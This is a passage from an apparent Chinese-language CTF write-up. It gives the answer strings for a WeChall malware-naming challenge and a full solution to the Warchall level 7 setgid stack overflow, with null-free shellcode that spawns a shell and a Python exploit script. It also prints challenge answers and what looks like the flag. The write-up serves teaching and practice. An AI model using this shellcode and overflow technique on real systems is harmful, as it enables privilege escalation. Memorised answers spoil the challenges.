注意题面 r****** 表明答案应为 r + 6 字 = 7 字符,而 rikora 仅 6 字符。可能该特定变种使用不同域名,或题面星号数不精确。

Part 6: t1game

Trojan-GameThief.Win32.Nilage.mc(SHA256: d2243520460811f14c7f77dce093b807e546298b6eb3e8d8a8f4581f28057284),Lineage 游戏密码窃取木马,UPX 压缩。

从 Hybrid Analysis 沙箱运行的 Nilage.mc 报告中提取的字符串表确认偏移 126544 处有 t1game + .txt。Microsoft 的 PWS:Win32/Lineage 威胁文档也确认该家族常用 t1game.txt 存储窃取的凭据。

答案:t1game(6 字符),对应 c:\t1game.txt

验证方法

通过 WeChall authme 端点 POST 提交,服务器返回逐部分正确数:

  1. ALBANIAN_xxx_aaaaaaaa_bbbbbb_cccccc_dddddd → 1/6(仅 Part 1 正确)
  2. ALBANIAN_XOR_fastflux_norton_cccccc_dddddd → 4/6(Parts 1-4 全部正确)
  3. ALBANIAN_XOR_fastflux_norton_rikora_gamect1 → 4/6(Part 5 和 Part 6 均未通过)
  4. ALBANIAN_XOR_fastflux_norton_rikora_t1game5/6 通过

Warchall level 7 — 32-bit setgid ELF 栈溢出。ASLR enabled 但 NX disabled、无 PIE、无 canary,非常适合 ret2reg + shellcode 经典打法。利用 memcpy 返回后 EAX 残留 vulnbuf 地址的特性,通过 call *%eax gadget 跳转到栈上 shellcode 获取 setgid shell。

1
2
ssh -p 19198 level07@warchall.net
/home/level/07_tropical_fruits/

Challenge

32-bit setgid ELF binary,源码由 hint() 函数泄露(调用 printf 打印 "Need to bypass aslr" 后 exit(0)):

1
2
3
4
5
6
7
8
9
10
11
12
13
void hint() {
printf("Need to bypass aslr\n");
exit(0);
}
void vulnfunc(char *input) {
char vulnbuf[300];
memcpy(vulnbuf, input, strlen(input)); // 无边界检查
}
int main(int argc, char *argv[]) {
if(argc > 1) vulnfunc(argv[1]);
else printf("%s <input>\n", argv[0]);
return 0;
}

保护: setgid level07, NX disabled (GNU_STACK RWE), No PIE, No canary, ASLR enabled. libc: glibc 2.35.

Solution

漏洞: memcpy(vulnbuf, input, strlen(input)) 无边界检查,栈溢出。

Stack Layout

1
2
3
4
sub esp, 0x148 (328 bytes)
vulnbuf at ebp - 0x134 (ebp - 308)
return addr at ebp + 4
Offset to return address: 308 + 4 = 312 bytes

关键 Gadget

memcpy 返回后 EAX = vulnbuf 地址(即栈上 shellcode 地址),因此可以用 call *%eax 直接跳转到 shellcode。

1
0x080484cf: call *%eax   ← 跳转到 shellcode

Shellcode

Null-free, 42 bytes:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
; setregid(507, 507) — 继承 setgid 权限
xor eax, eax
xor ebx, ebx
xor ecx, ecx
mov bx, 0x1fb ; 507
mov cx, 0x1fb ; 507
mov al, 0x47 ; setregid32
int 0x80

; execve("/bin//sh", ["/bin//sh", NULL], NULL)
xor eax, eax
push eax
push "//sh"
push "/bin"
mov ebx, esp
push eax
push ebx
mov ecx, esp
cdq ; edx = 0
mov al, 0x0b ; execve
int 0x80

Exploit

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
#!/usr/bin/env python3
"""Warchall Level 7 — Tropical Fruits exploit."""

import struct
import subprocess

# Null-free shellcode (42 bytes)
shellcode = (
b"\x31\xc0\x31\xdb\x31\xc9" # xor eax; xor ebx; xor ecx
b"\x66\xbb\xfb\x01\x66\xb9\xfb\x01" # mov bx, 0x1fb; mov cx, 0x1fb
b"\xb0\x47\xcd\x80" # mov al, 0x47; int 0x80
b"\x31\xc0\x50\x68\x2f\x2f\x73\x68" # xor eax; push eax; push "//sh"
b"\x68\x2f\x62\x69\x6e\x89\xe3" # push "/bin"; mov ebx, esp
b"\x50\x53\x89\xe1\x99\xb0\x0b\xcd\x80" # push eax; push ebx; mov ecx, esp; cdq; mov al, 0x0b; int 0x80
)

OFFSET = 312
CALL_EAX = struct.pack("<I", 0x080484cf)

payload = shellcode + b"\x90" * (OFFSET - len(shellcode)) + CALL_EAX

subprocess.run(
["/home/level/07_tropical_fruits/level07", payload],
env={"PWD": "/home/level/07_tropical_fruits"},
)

执行后交互式 shell 继承 setgid level07,可读 solution.txt。

LetsGetItOn!
+ + +
SYSTEM STATUS: ACTIVE ENCRYPTED SECTOR 7 PRTS_TERMINAL_V2.0 PROTOCOL: 0x2A ENCRYPTED DATA STREAM SYSTEM: ONLINE